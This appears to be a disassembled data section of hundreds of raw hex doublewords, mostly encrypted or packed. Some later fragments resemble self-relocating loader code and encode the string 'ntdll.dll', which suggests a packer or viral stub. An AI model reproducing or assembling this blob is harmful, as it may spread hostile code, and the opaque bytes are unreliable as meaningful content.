dd 48EB7624h, 15B12F4Dh, 0E4767FB8h, 1016D6E2h, 2520C390h
dd 29D65754h, 808722BEh, 3AFFB915h, 0A2CD767Fh, 80FF6F0Ch
dd 54000014h, 6CFBFE85h, 205150D0h, 0B9CCEB43h, 0E9869B27h
dd 6F1C199Bh, 5529810Eh, 3530B36Ah, 804D21B4h, 0A47C6C42h
dd 30B04CDBh, 0F3808722h, 0A735B2h, 0BD1DAD05h, 0B64DD882h
dd 0EA9B9E1Ah, 32B7258Dh, 0BE82B475h, 0BCF580F1h, 0DE77EA41h
dd 0C848EE3Bh, 9E482837h, 76248ED7h, 0CBCE6A06h, 80DB763h
dd 0A5B63C68h, 248E8FC9h, 0D5525D76h, 2B2ED4A4h, 0B56A445Ah
dd 0A0C0C56Fh, 0E1521308h, 1DCC9DDh, 0B9520000h, 7549DC7Eh
dd 7C6C4144h, 0A661790h, 930F6D68h, 10671411h, 5BF3F67Ch
dd 6C51377Dh, 0C1C06D7Ch, 4443E0B0h, 7D229037h, 3CD0C7A4h
dd 0A517BFAAh, 0B5B032E6h, 1EBC87D7h, 0D15CF087h, 1734A1DEh
dd 1DE15D22h, 8ECC62E3h, 82B4B177h, 0A09AA46h, 217D14A4h
dd 7624B067h
dd 0FC8D0A75h, 630100ACh, 0F9B68B37h, 24B12D69h, 7926A876h
dd 0A33237B3h, 0B0F6B20Ch, 0A5C27624h, 88247D0Dh, 1C9DEAEDh
dd 5D58DAB6h, 3BC7592Ch, 82284926h, 3E9D6C16h, 82C6989Eh
dd 4E76252Ch, 0E9995421h, 3FBCBB38h, 0C7B9C1BEh, 0B93BD518h
dd 0F87A16BCh, 4FF9FFDh, 0DEDDE1A0h, 5Eh, 0EBF98545h, 4A0E604Bh
dd 96762433h, 9A1B68E9h, 87196C1Dh, 1794E5E0h, 5257D3BFh
dd 0BC635D25h, 68033871h, 8EDB831h, 614AF6A2h, 24DD4B0Dh
dd 66227C76h, 727624DCh, 0AD384735h, 24DC97D1h, 0DD5A2576h
dd 0A4E41FBFh, 277DDE1h, 65007DD1h, 0E3941562h, 59F109EFh
dd 0C5F5h, 7EB92E00h, 0B07549DCh, 47C6C41h, 0D350EC7Bh
dd 70C6A7D4h, 0B6B33143h, 3134BEEAh, 0B7B23040h, 0FD14AAC6h
dd 100EA2EAh, 2253D069h, 0D8A9AC56h, 0BFAD49DBh, 0C2B33035h
dd 0C41DC2BCh, 70BF6C5Eh, 2C6C42D9h, 0B87C6C62h, 61E9AFFFh
dd 9BF77C6Ch, 0B681904h, 0F2FBF98Ah, 481D7839h, 898C36E2h
dd 74D843EBh, 0B14BDBA9h, 2542332Eh, 44418Dh, 0B9DA0000h
dd 7F4FC67Ch, 76243389h, 0BDBA8D7h, 76243449h, 0F513C88Ah
dd 0C39B0AC8h, 762433D5h, 0E5CB7703h, 7637445Dh, 250FB8C9h
dd 86545324h, 0A961794h, 6061019Bh, 18ACCAh, 47D90000h
dd 0ABC8B9BCh, 0EC806003h, 0DFD25240h, 0EA40215Eh, 4FCCh
dd 0E2854B00h, 78FA96E7h, 0E1831F7Dh, 0FF3997E4h, 8C36CA5Dh
dd 8401E89h, 0D4762433h, 0E67403ABh, 7624329Dh, 0FA8B8E35h
dd 411D06AEh, 76243207h, 5C2DAAD5h, 7EB77446h, 0B63FA9Dh
dd 7624324Dh, 4B61C9Bh, 0F1BA6147h, 7560221Eh, 0BB00000Ch
dd 4D44EC80h, 7D77F3Ch, 50EE9F3Dh, 0FFCF678Fh, 0E4BA5144h
dd 0FFCF66A4h, 0EDDF7730h, 26ED163Eh, 2F37544Ah, 6C000000h
dd 4ADD7FB9h, 24333474h, 96E78076h, 98002238h, 6D780E1Fh
dd 0E3E68C1Ch, 667D0692h, 18D18EE0h, 0A0847BF7h, 7492C37Bh
dd 2CCA1h, 0B80FA00h, 34337905h, 4E1EB4BAh, 393CC776h
dd 79360BABh, 772CBB38h, 0DD89D96Bh, 3C47EFCBh, 0FE85C358h
dd 55D06CFBh, 0EE442552h, 796EF5D5h, 0D8E11A92h, 3448h
dd 7FB9D300h, 0AE2F22CEh, 91FA537h, 90116E6Bh, 0AD056213h
dd 980B801Ah, 116DDC2Bh, 603ED77Fh, 7624B925h, 80ADF6B1h
dd 0E7E2851Bh, 676FF482h, 35h, 0DD7FB9FCh, 9DDBB34Ah, 2B762432h
dd 80DDE64Ch, 2432672Eh, 6D367576h, 0AA57E980h, 0A7F49123h
dd 0B031FCAFh, 7B0CA2C3h, 82E7E285h, 67039DF4h, 3E941562h
dd 0A42E47A5h, 9E1A77CBh, 6ADF99Bh, 0A4404C03h, 0C39B32A5h
dd 77CBA385h, 0CFFE5453h, 532021CDh, 0D7A4A541h, 0A861DEECh
dd 6FB56A20h, 7723C1C4h, 5A59DACCh, 80CF4C2Dh, 0F6CB7709h
dd 9A52F8B9h, 0EF861FF1h, 0CBA3D99Fh, 3298E777h, 851CC3B8h
dd 0CBA36F29h, 83217D77h, 0B88E986h, 494CF7A3h, 7174FFABh
dd 0C216923Eh, 77CBA383h, 73652857h, 159E4239h, 1AA6F21Eh
dd 9E467607h, 549C430Fh, 453EA9A8h, 463838FCh, 0E8E99529h
dd 0E6A2FC6Bh, 0F277CBA1h, 118D1DB5h, 0E7E28492h, 0B9F6D375h
dd 9D347BF8h, 17646103h, 0D450C096h, 0CBA24104h, 85D97077h
dd 77CBA1C3h, 0B0C09611h, 4E45B8F7h, 0A1A1E7B7h, 0F4CA77CBh
dd 77CBA1B4h, 79156700h, 0EC8DFAE7h, 0D695C76Fh, 86626102h
dd 77C690Ah, 0F08C5068h, 0E6A2F07Fh, 1277CB4Ah, 87E09097h
dd 1F1A8F06h, 654C55C3h, 0FB22E968h, 0B3B0318Eh, 1B0E4A24h
dd 0DDDA77CCh, 0BF517875h, 214E3F32h, 30A55589h, 0BE529D42h
dd 15532B28h, 0A377CC1Bh, 493647C4h, 0B7B231E1h, 4BBA3955h
dd 46E9E2CBh, 14ED9566h, 35A71697h, 1C199B89h, 2DA4D09Fh
dd 0AA041793h, 77CB64EEh, 4F3CBDFAh, 69D6882Eh, 0B22520C3h
dd 0A8BC8CF9h, 35890A4Dh, 77CBC073h, 11B92641h, 0FE8552F1h
dd 0C3589EFBh, 4FC67CB9h, 32A2E6B8h, 412E7624h, 245550D3h
dd 0F5D4EF47h, 0EFA9059Ch, 0FD762432h, 798B1CB2h, 0D8E11A92h
dd 54146A01h, 60792432h, 32AFAF07h, 0F4000000h, 0BDC67CB9h
dd 4346EC80h, 11542AEBh, 0A5762433h, 1B80B9DAh, 0D395E980h
dd 0E1762432h, 74AB4072h, 67E417E4h, 0A4A143CFh, 676FF4C3h
dd 42h, 0C67CB9FCh, 52E980BDh, 24333C7Ch, 47EF8876h, 24334C09h
dd 62029E76h, 0E4911E6Fh, 0A4484E2Ch, 0C2A72403h, 0FF851B80h
dd 0E98099FAh, 2432D395h, 3086E176h, 90098211h, 0A529A421h
dd 880908A8h, 0E9808122h, 2432D395h, 64650176h, 9D1A9617h
dd 415BA735h, 8667624h, 0FFFFFCE0h, 32FD478Fh, 2D177624h
dd 0E910D6Fh, 2A6B0EE7h, 0C16C0A48h, 0B76037Ah, 2F5CDDBBh
dd 3938C458h, 0F85C391h, 31B37625h, 0F6879A27h, 297B0889h
dd 18059B89h, 0C39BEA9Bh, 76250F85h, 0BB375453h, 31680FC4h
dd 8010159Fh, 1794E5E4h, 8A5E0DBFh, 1B8A16F5h, 0D791ED84h
dd 0E576250Fh, 0F8CCC9Ah, 5F587625h, 9C991BF7h, 0E3A19CFCh
dd 62CDC492h, 0D486B87Bh, 9CCA3117h, 3C109FB7h, 8B000002h
dd 2432FE47h, 6F2D1676h, 4B0D61F8h, 99762433h, 75AF651Eh
dd 72AA72C5h, 0C06539DCh, 147C6D29h, 0E398096Bh, 2D35D3FFh
dd 7B17BFFBh, 4954EAE4h, 8DFA7B38h, 37075FFh, 5958D874h
dd 37E34B28h, 95FB888Dh, 0DE75E0AAh, 8AEBD42h, 0B4E9F74Ah
dd 0AF803382h, 8F82222Ch, 3FDCADFAh, 7FAE0FBEh, 1788129Fh
dd 0DCA67h, 4140E100h, 0C8CD7723h, 7C6BFCA8h, 0E1E0801Ch
dd 966B1783h, 0B088E90Ah, 3B573534h, 0CCD8B8A5h, 56422E21h
dd 19CAD6ADh, 5A702886h, 0EA7C7C72h, 0FBFE8539h, 0A64FB8Ah
dd 7624334Eh, 89FBFE7Ah, 941E95EEh, 0CF41FD5Ah, 0EEAC9767h
dd 5B5EE577h, 5F2C2DC9h, 411DF85Eh, 7C72A372h, 2E37265Bh
dd 0BE8F2E7Dh, 114F3C5h, 0BD154FD3h, 49E3723Dh, 0D8C9ABB6h
dd 7B2B6D41h, 0EDB97C72h, 6AC04140h, 861919AEh, 279EA9Bh
dd 8DEF3688h, 82F370F1h, 39764DF6h, 37AE6C57h, 0F3B509A0h
dd 0C17C723Ch, 1F4210A6h, 0CB82BA46h, 37A211ACh, 0EBA4129Ah
dd 0D167Bh, 1D149D00h, 8481237Fh, 817A8E4h, 0BDB43C68h
dd 2227C3DFh, 6C543D46h, 0F7A3C1C0h, 78147451h, 29EFAFDh
dd 4D066261h, 5C24643Ah, 2EB07C72h, 0E8FE8575h, 0BFCC4D4Ch
dd 0B124E6D1h, 6C61F4DDh, 861C957Ch, 6A8AB284h, 0BBC4F45Ah
dd 2326CDD9h, 9A9D18B4h, 11149FEDh, 2C820360h, 356E059Ch
dd 22EA52CEh, 0B4F4A214h, 7C6CB6h, 4ACBCE74h, 992F08E4h
dd 58DBD5F8h, 3A4F2C5Dh, 56D71F15h, 0C61FEFBFh, 2E4982BAh
dd 878225B7h, 0B16A9E5h, 607F009Ch, 0A1DAADCAh, 0FF0641F2h
dd 0A969C17Bh, 1E7E0F0Ah, 9EF06725h, 7C7257F3h, 9C0DB0FFh
dd 9A0C5225h, 0C5D75E5h, 0AD540000h, 58DAB6D2h, 0DC633F5Dh
dd 4FF7A3C1h, 0FE7A1672h, 1D7A99FBh, 0F8989925h, 6D0F1AACh
dd 0D7B5B431h, 5F3D38BBh, 0DB9DF184h, 0E97C725Bh, 0FE85CC57h
dd 86FB8AFBh, 2599665Bh, 0BF0FA7F1h, 2829D584h, 4ADD5A5Bh
dd 6CE6F974h, 0B2314D7Ch, 9B9E25B7h, 80227E1Ah, 14ABE785h
dd 0DE094F1Fh, 0A8D77C6Ch, 0B9AA492Bh, 7549DC7Eh, 7C6C621Ch
dd 0E07E0F68h, 7C6C60A4h, 0B354E8AFh, 9F4C7ED4h, 0A92072A9h
dd 0A44FE1DBh, 0B0C509A1h, 5E000000h, 49E9FF85h, 0C05CCB48h
dd 0EE8D2524h, 0EAAE0097h, 13762432h, 2432FDBBh, 0DCACCB76h
dd 159F7BD3h, 91116310h, 0C86B0590h, 3A5665CDh
dd 0FFDFBDB8h, 0FABE10C4h, 0C6762432h, 0A9158B4Dh, 0E8FD73Dh
dd 359D1681h, 1918A48Eh, 0DB7E0B68h, 7B76FE2Ch, 46EC6D0Ah
dd 0A482FFCFh, 0A1CE7C6Ch, 57CD911Eh, 4AF8B70Ch, 0B67h
dd 0CCACA342h, 355752D0h, 0B9DBC659h, 2C4C45EDh, 97F5F470h
dd 931F278Ch, 0A6F29Eh, 8E2B6705h, 36BDE98Bh, 0EB825133h
dd 725CD593h, 0CA5DE37Ch, 56E9FF85h, 0EF7D3A4Bh, 0A0C04144h
dd 0DDC85FF1h, 564775h, 85DC0000h, 0C38DFAFFh, 2CC352F8h
dd 327F3995h, 224D7624h, 4C73CE8Ch, 0F0BF7C6Ch, 5821584Dh
dd 1B16E0Ch, 0AFBh, 50300FB6h, 0D9BBBE44h, 4D2F3ACDh, 0B0D0D151h
dd 3B5958E4h, 0E783BB18h, 740A86E2h, 129F0B69h, 82217D1Fh
dd 576EE587h, 725E4107h, 6E398F7Ch, 8AFBFE85h, 17E75FEh
dd 17148D08h, 0C2F55DDDh, 0BE6D5FF7h, 0E1C76D96h, 249B7DDh
dd 0D9EC0000h, 8B4039A4h, 2B80A97Ch, 0C3C03740h, 0D22512F4h
dd 0E697A07Ch, 0D4D55141h, 2859C6A7h, 5859D94Bh, 5ACD4A2Bh
dd 6CB63904h, 0E6026D7Ch, 457CF68h, 5EFCC770h, 0E6AF7C7h
dd 0CC63724Ch, 0BC05B6F2h, 0CD650269h, 0B953C2ADh, 20413E3Bh
dd 98A3ED8Ah, 0A90B63F2h, 0FF700785h, 0E88B25B0h, 90138FEDh
dd 8DA12A95h, 18971CC3h, 0A3E6Ah, 0F5CC7500h, 7C79FB97h
dd 0E0FF801Ch, 956C1480h, 1A1F9BF7h, 447C557Eh, 0CFDBB9B8h
dd 504C2C39h, 0DAB6D2D5h, 0A53E5A59h, 5DFCBC12h, 76C87C72h
dd 0FAFF85ADh, 52F8C38Dh, 4CE1EBC3h, 78077C72h, 0D0CD53EDh
dd 5442E4B0h, 0DBD8A9A8h, 0C65A2D5Ah, 5657243Bh, 5A132C80h
dd 0C9B6C7DAh, 0A343DD48h, 7AD0D1AEh, 6966C39Bh, 0F5B282BAh
dd 2D38CE62h, 0D0CD534Fh, 0A352D1A3h, 0A60D85E7h, 6B926F5h
dd 1299977Bh, 0B424D24Dh, 0FF000009h, 8D197B76h, 0A86E2E7h
dd 9E0A9675h, 2D791B16h, 0C3E08081h, 2B2ECAF2h, 0DECB5D49h
dd 445BE6B2h, 0CCCB6824h, 0CEA037ACh, 7C725E8Ah, 7D17F056h
dd 24329DD3h, 0CFBC3E76h, 87457E6Eh, 63257910h, 71762432h
dd 99F5A036h, 7C6C4FC0h, 5DF4630Ch, 4EB0E8C6h, 733C7C6Ch
dd 0AEA83FDBh, 0E28E0F02h, 6421CB3h, 327C6C4Fh, 50C3B1ACh
dd 52A730Eh, 0F046C767h, 0EE79231Ch, 0A2D3D652h, 4E632A31h
dd 0C041977Fh, 7814AB6Ah, 25610CE7h, 809B897h, 0B6B5238Bh
dd 282B75Eh, 7AAD3E91h, 54D59513h, 3B932AC1h, 7626357Dh
dd 3F5B2C4Bh, 586975E0h, 0BC47D37Bh, 0C7972EB9h, 76267181h
dd 0FE8A204Fh, 0BB0201A2h, 129DFAFCh, 0E4D5453Ah, 0CF000008h
dd 5D492B26h, 0DAB6D2D7h, 6E3A4645h, 0FDA9CBC6h, 0F3107071h
dd 1B1E9AA2h, 8E9B2D79h, 340BB6E2h, 0BCBB3854h, 1E7007DCh
dd 7C725F5Ah, 4747C066h, 762432FDh, 0EF8D882Bh, 7F16B48Fh
dd 88C4B3E8h, 9B195DF0h, 0EB338B05h, 0E97CFD31h, 2498D395h
dd 3086E176h, 6CE762A2h, 4F1F767Ch, 7C6C5B09h, 0A8E0BED7h
dd 347C6C5Ah, 0DA4DCA4Bh, 0C4A4BB46h, 0B3B633CDh, 0FFF27F1Bh
dd 865108Eh, 0B9770000h, 9136CA7Eh, 32A4E4B2h, 77307624h
dd 0E60F5FF6h, 327C6C3Ch, 0B84EE275h, 4DDFDCADh, 6A09A1A0h
dd 6E2A841Bh, 9A7C6C3Bh, 976071Ah, 38963C7Bh, 7C6C3B7Ch
dd 80A41BD7h, 0DBA9079Bh, 16941h, 0E9942800h, 85274016h
dd 0FD88F9F8h, 0B2C3C663h, 2BBD5DF5h, 2190B5CAh, 243A0B4Dh
dd 0A5DED976h, 0F4753473h, 0B4F4CA61h, 0E0762495h, 7532435Eh
dd 0A5D27807h, 0A43A2CD7h, 2AABC8B9h, 808121BBh, 9F1CB2F3h
dd 0F661600Dh, 73DBDE5Ah, 7A23E57h, 41327300h, 23E34BD5h
dd 8D0DA5D6h, 590E1E0h, 61C9D46Bh, 8017AD8Dh, 24F4A22Eh
dd 67374E76h, 7624F521h, 3243C0AFh, 0A9C6DD66h, 0A24F59DBh
dd 50D1DEAFh, 9D427823h, 0D66A2144h, 5B58292Ch, 0FA46BE2Eh
dd 5DF558F3h, 0C974BC63h, 0A82A5FF6h, 2F77CC93h, 0D5C1E149h
dd 8A582928h, 76249BC2h, 0A9059CF3h, 76249AEFh, 0A21CB2FDh
dd 0DF7932FDh, 490F1520h, 1C9979D1h, 628E960Bh, 0E591E3AAh
dd 2438F3B5h, 39A6C176h, 8143735Bh, 3908B816h, 0BBC47624h
dd 3D28BECAh, 0A0BD435Fh, 2722C1D3h, 5C03CF56h, 7517F294h
dd 0B9A8719h, 27B21196h, 5AD071Bh, 7F1D2676h, 0DC4B96E8h
dd 18677C6Ch, 8F9A2C78h, 16A09EFEh, 5FB72281h, 0F0F77286h
dd 0E465E283h, 5F52DF71h, 0C401EF7h, 0D87C6C44h, 4CD2AEDFh
dd 0CF502051h, 0A822A3D0h, 9F5B3AF3h, 7B66F820h, 0EEFB8D19h
dd 46043F91h, 75E6FFCFh, 753282B4h, 0CE57B17h, 8AFB2ABDh
dd 0BFDD5A0Dh, 0ADA84AE6h, 0E9E89505h, 7EB9E88Bh, 0A87549DCh
dd 0FC7C6C42h, 0CB6C2B3h, 0B9C86B09h, 5A4FC67Ch, 7921166h
dd 0B9FFCF45h, 7762485h, 2453FB78h, 2485CE96h, 7E128576h
dd 0D494EAF3h, 0E0762485h, 1E690687h, 24860840h, 2AABD476h
dd 3315CA84h, 0DDE15DC8h, 3712h, 9F067B00h, 5F39D59Ah
dd 8580238Bh, 3D8DFAFFh, 7624327Bh, 0FB219E5Ch, 0C0C56F79h
dd 2DB72143h, 48762454h, 0FFFF9A3Ah, 25366BFFh, 1E895367h
dd 0DFACAB48h, 0EEF951DEh, 9EFBFE85h, 7CB9FD66h, 0EE75BDC6h
dd 0E11A9279h, 5548D8h, 8F210000h, 457A1EE7h, 0B11C2FBEh
dd 8C224330h, 0C67CB9FBh, 6A2E80BDh, 93762432h, 0F7C7DF9h
dd 0CFA8C86Eh, 851B80AAh, 4A57E9FFh, 41EC7C3Dh, 0F370314Eh
dd 69DF496h, 2432F0A8h, 8757FB76h, 246EA49Dh, 0E0832B54h
dd 0B15D0B80h, 0B9D7279Bh, 376311h, 0B9E00000h, 80BDC67Ch
dd 24326A2Eh, 6E0B7076h, 7B4B0B80h, 6DFF5B69h, 854B50C5h
dd 0D16BFAFFh, 0B025524Fh, 6E619853h, 59F17ED5h, 39DF44Eh
dd 0F4F1737Dh, 0D1790677h, 95E980B6h, 762432D3h, 32EEAA04h
dd 0BDFA7624h, 8E0AA0CFh, 7A67F9F9h, 9EEF6C0Dh, 243288C0h
dd 2A914176h, 6626106h, 2440E248h, 3F8DFD76h, 0AFFFFF3h
dd 9EFAFF85h, 0D047053Eh, 33236539h, 0F6B17624h, 821EB560h
dd 0D4BE3E6h, 7C6C642Ch, 0F04E3F78h, 7C6C62B4h, 0B17C239Fh
dd 0EF9C891Fh, 6F94288Eh, 0B5DBA922h, 7, 167EEh, 80FC0000h
dd 32D395E9h, 86E17624h, 0E66CD2EDh, 0E64C757Ch, 0F86F2D16h
dd 6C8823A6h, 0B3C0AF7Ch, 7E5043E1h, 7C6C443Ah, 0B7C4DB66h
dd 7CFDBAF6h, 9070B0E9h, 23C7A184h, 0EDA6FF8Bh, 97713543h
dd 0D381298Eh, 7C6C3BCAh, 1C7C73FEh, 7F1F0C85h, 0BA932A55h
dd 0E6F98414h, 29B1A789h, 0AFFD8A97h, 47F0C19h, 6830C9B6h
dd 7A072D92h, 0EA890567h, 43E478EFh, 789C3CB0h, 0C7443684h
dd 0D1527E6Fh, 68E99BD2h, 0FF5732D4h, 29CA1ECDh, 7925CE2Ah
dd 0DA611A82h, 0E758h, 0B80C300h, 9E7E923Ah, 2266380Bh
dd 0AE7624BFh, 12EA40C1h, 60F76E24h, 24BF4A0Eh, 5D1B7376h
dd 6B7624BEh, 0A1337C0Ch, 32730001h, 2E800B9Ch, 76243267h
dd 806D3675h, 0C7E05B1Bh, 9EFBFE85h, 4D44EC80h, 0B94DD6E5h
dd 75BDC67Ch, 1A9279EEh, 4948D8E1h, 0D3000000h, 40327CB9h
dd 9C5974DFh, 8089EA6Bh, 24326A2Eh, 9E097676h, 0CFFFA9E5h
dd 1A99617h, 52E98066h, 24333C7Ch, 47EF8876h, 870B803Ch
dd 0A9B44A92h, 2DAEDBD8h, 7B17BF28h, 4144EFF9h, 91F27330h
dd 43676FF4h, 0FC000000h, 0CCCD0B80h, 1265D2EBh, 97E4FB86h
dd 0D1EC4016h, 2E805633h, 7624326Ah, 3672FF70h, 2389A186h
dd 1B80C1A2h, 0A20EFF85h, 85EED608h, 0ADE671FEh, 0CA2E620Ah
dd 338B1A2Eh, 76249B75h, 0F58E2443h, 10676FF4h, 0FCFFFFFFh
dd 6CFBFE85h, 275ADCD5h, 0C472049Eh, 2458D296h, 7B76FE76h
dd 0ABC86E09h, 3D5F5AD9h, 754C625Dh, 958344h, 0AD3FD657h
dd 928F1107h, 86D8BD15h, 7C6CDC57h, 0C98FDF76h, 177C6CB7h
dd 0C9B6C268h, 0B1F7C75Eh, 0DA7C6CB7h, 6CB7C484h, 0E597107Ch
dd 3787349Ah, 7C6CB76Dh, 93B56AE4h, 0DBA99768h, 3DB2h
dd 7EB9E900h, 647549DCh, 0B07C6C40h, 6C2886F7h, 987C6C3Fh
dd 1D6F1C1Bh, 61EE9F8Ah, 14F93EEDh, 4E43EF81h, 0E0DA7031h
dd 15DF43Bh, 7C6C4047h, 2844EA95h, 0DBA903F3h, 10C29h
dd 0E9807200h, 2432D395h, 3086E176h, 0B7C4C360h, 0CD5859E5h
dd 0C5B2B733h, 13610EA4h, 94E49590h, 7865FBEFh, 8FED6A0Bh
dd 2436DFD1h, 0F0E68D76h, 63F2736Eh, 5C2D2CC9h, 0BFEBF75Fh
dd 0C403134h, 67FE6933h, 36BAFED0h, 79067624h, 66BA83D1h
dd 81EE7C6Ch, 0EAB08BE3h, 22C237Bh, 205982B7h, 0A9097CEBh
dd 8594CF03h, 94E62354h, 35DA9EF0h, 99E67626h, 6A06B218h
dd 0D858C8CFh, 33CD58D9h, 0BFD6B2B7h, 3995862Dh, 7626357Fh
dd 0DA5224Dh, 3B14E18Dh, 93EC790Eh, 0B9892708h, 9E9D4ECCh
dd 1E6F6202h, 0AD1091h, 36129D3Fh, 251C979h, 0D9580000h
dd 44EEBAC6h, 0D0772341h, 7BFB97F5h, 0E28E1A66h, 11668DEFh
dd 0EC8C8D29h, 51332EB0h, 0DBB9B845h, 432124CFh, 0E7A1FD90h
dd 0F57C7265h, 0F985B053h, 0D25F49EBh, 40C1AEDFh, 0B4017233h
dd 9BB5C0A1h, 0BEEAB637h, 15A73E35h, 0E71E6B6Eh, 0A5510D26h
dd 0F6AF3B93h, 70C6C55Ah, 0DC7EB957h, 431BB249h, 76243305h
dd 33205836h, 0C3AC7624h, 7260F6B1h, 7C6C4067h, 3D38BA56h
dd 0A70F02AFh, 4F1F6C0Bh, 7C6C4005h, 0FB2D924Ch, 0DBA90300h
dd 0A5DAh, 0FE854100h, 0F9D56CFBh, 762432BFh, 0AFCC620Dh
dd 91A451DDh, 4D18A7CEh, 8C5A2BA8h, 76248214h, 6FC033B0h
dd 527B8529h, 0F0ACCC4Dh, 49077473h, 1921586Eh, 0A8A01857h
dd 8B25BC2Bh, 1341E9F4h, 7C6D5A4Ah, 2273119Eh, 9DEAF98Eh
dd 0DDE6B61Ch, 0FAD6A83Fh, 3682B7AAh, 0A642DE49h, 29D5C1A3h
dd 0C3CE9528h, 7F8129Dh, 15297h, 0D9D85900h, 4045EFBBh
dd 0F4D37420h, 7978F894h, 0EEE38F1Bh, 28106182h, 0B3EF8D8Ch
dd 4450302Dh, 0CEDAA6B9h, 91422E25h, 66E8A0FEh, 52F47C72h
dd 0F8F985B1h, 60670C98h, 0FE856300h, 75FE8AFBh, 81BA127Eh
dd 0AD2A2DC8h, 1101A63Ah, 6512938Eh, 97E7AE04h, 7C6C4FB2h
dd 4B2C661Bh, 7A0F02AFh, 0A332CEB2h, 6CFB8DCBh, 0F65C5B7Ch
dd 962ABDFAh, 1E8A16EDh, 0F2E08D95h, 65027376h, 461667E4h
dd 7648DF7Dh, 82BB155Eh, 0F752ED8Ah, 0C1129969h, 0BDD04Eh
dd 4DF40000h, 0F87A1672h, 7C039FFDh, 0EF970361h, 9E1A7612h
dd 0FDDAF99Bh, 583839C5h, 0CDAFBA4Ch, 375554D1h, 0BFDDD85Bh
dd 7B3D9124h, 497C7267h, 7EB92CF7h, 0DCB249DCh, 7624329Ch
dd 2EE74F28h, 7B7E0597h, 65237B0Ah, 73762432h, 0B11FB734h
dd 7C724D7Bh, 938E10ACh, 65F0BF3Bh, 582934CBh, 2D2CC95Bh
dd 199AF685h, 81227E1Ah, 7165F582h, 7CFA708h, 85176461h
dd 0B88F9F8h, 79559847h, 0CB9ED43Fh, 0AE65E28Dh, 5EE50FFCh
dd 0C66D395Bh, 5EE6B2C3h, 27933243h, 2733B078h, 8BE8999Ch
dd 62019B0Ah, 6E201267h, 1824C854h, 0F97A16B2h, 81D8DFAh
dd 88000000h, 0E34B4EF4h, 85DA41C0h, 494E5FCh, 790B787Fh
dd 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh
dd 6B397655h, 0B9BFCCC9h, 81E78957h, 4C7h, 4EF8300h, 31243C33h
dd 3C33243Ch, 89535C24h, 4C381E3h, 83000000h, 1C8704EBh
dd 3C895C24h, 9056824h, 4890000h, 66685324h, 5B5C1065h
dd 16EB814Bh, 8955C24Ah, 8B545BDFh, 0C4832404h, 59575104h
dd 59084889h, 582434FFh, 4C481h, 34FF0000h, 0C4815F24h
dd 4, 0FA47B8E9h, 0F9DE97FFh, 0F5913D68h, 53B86447h, 3064E36h
dd 85C650C5h, 6480FF9h, 17256847h, 0B5FFCF38h, 6480ED5h
dd 38BA858Dh, 0D0FF0648h, 858DD88Bh, 6481CE5h, 1046850h
dd 0D3FF0000h, 0FF985C6h, 68530648h, 8307F8BFh, 0ED5B5FFh
dd 858D0648h, 64838BAh, 8589D0FFh, 64E1930h, 202DBD83h
dd 0F000648h, 0B84h, 4D9D8B00h, 0E906481Ch, 5, 0BBh, 1006800h
dd 0B58D0000h, 64E1934h, 95FF5356h, 648315Dh, 1934B58Dh
dd 0F003064Eh, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh
dd 0FFFFFFEDh, 8D0006C6h, 4E193485h, 95FF5006h, 64E1930h
dd 3EE0FF58h, 0D826D9F5h, 0F55AF6EBh, 0A82A6934h, 0A01F5050h
dd 581E9291h, 43CCD41h, 0DD6F5945h, 9327A518h, 0AE7A5A23h
dd 0A81E64BCh, 730F062Bh, 5E1CA042h, 0AF7E2AECh, 1F0D523Ch
dd 0CF13A4F9h, 9B69ADF9h, 37257EDDh, 4068771Dh, 8D40813Eh
dd 4E388A8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 71F4976Ch, 58D8919h, 0F064814h, 85C7DEB7h
dd 6483025h, 6EFCh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 48C35141h, 0BA66F5B5h, 85C785B1h, 6482AD9h
dd 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A1C35343h
dd 0C2842DE3h, 27654EF3h, 0FF5A5640h, 480D3DB5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 6C98F7FDh, 0B70FDF95h, 7195FFFAh, 0FC06480Eh, 95FF006Ah
dd 648092Dh, 1BEBC08Bh, 21FFE7A4h, 2E0C2833h, 64E8813Ch
dd 0EB6A2A88h, 66B13023h, 812ECB22h, 0EB8E4FEAh, 0B61B9026h
dd 8EAFEC33h, 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h
dd 0ABA3D25Dh, 256AC3h, 0
dd 0E9000000h, 6B7h, 4E3A3068h, 4593E906h, 768FFFAh, 0E9064E3Bh
dd 0FFFA4589h, 4E3BC068h, 457FE906h, 8C68FFFAh, 0E9064E3Ch
dd 0FFFA4575h, 4E3D4C68h, 456BE906h, 2268FFFAh, 0E9064E3Eh
dd 0FFFA4561h, 7010EF96h, 0F99B9E24h, 6D0F1AADh, 0D0B0B131h
dd 5B3938C4h, 0C7635B38h, 54EAA6C2h, 0F27F2B49h, 62019DFFh
dd 374E0567h, 726C2167h, 8E19AF7Ch, 2A67h, 0EC720E00h
dd 96E380F1h, 7B3CDAF8h, 0C2E54D22h, 8AFBFE85h, 0E77E75FEh
dd 93A465B2h, 842A4D9Ah, 7D2A6AE4h, 0D35E7624h, 0B917BCDCh
dd 7549DC7Eh, 7C6C64D8h, 6332432Ch, 852D2CC9h, 6C638DD7h
dd 550AC47Ch, 0A93F8873h, 2A841BDBh, 7C6C6F6Eh, 4AF3D7Ah
dd 9B337001h, 273B3h, 7BD9E800h, 2BBA605Bh, 6C430A53h
dd 0BD425E7Ch, 0A024D1AEh, 2CDFD4D5h, 1E360E1h, 0E3A5F990h
dd 0F17C6C9Dh, 87041DA5h, 0AE328AF2h, 1A94217h, 9B310253h
dd 0EBB18A40h, 0B44BE57Ch, 23A9EFBFh, 4837388Bh, 55FDBACBh
dd 0D355E607h, 3445223Eh, 0D3AB5F58h, 3A52F295h, 50C74423h
dd 9E72967Eh, 1285E240h, 92FEF57Eh, 2F927D06h, 91D7A797h
dd 5F388933h, 5DBB2750h, 0F99BBBF9h, 0DE5FF38Dh, 7519EE51h
dd 601F503Ah, 4C1F2h, 350CB500h, 0BCB93B57h, 203FC0DCh
dd 0D5AC5440h, 5A5FDBB7h, 84BC153Eh, 0F9BF9F8h, 900C6C79h
dd 1A761215h, 65FE9A99h, 6D3C7C52h, 36887C72h, 0E8FE856Dh
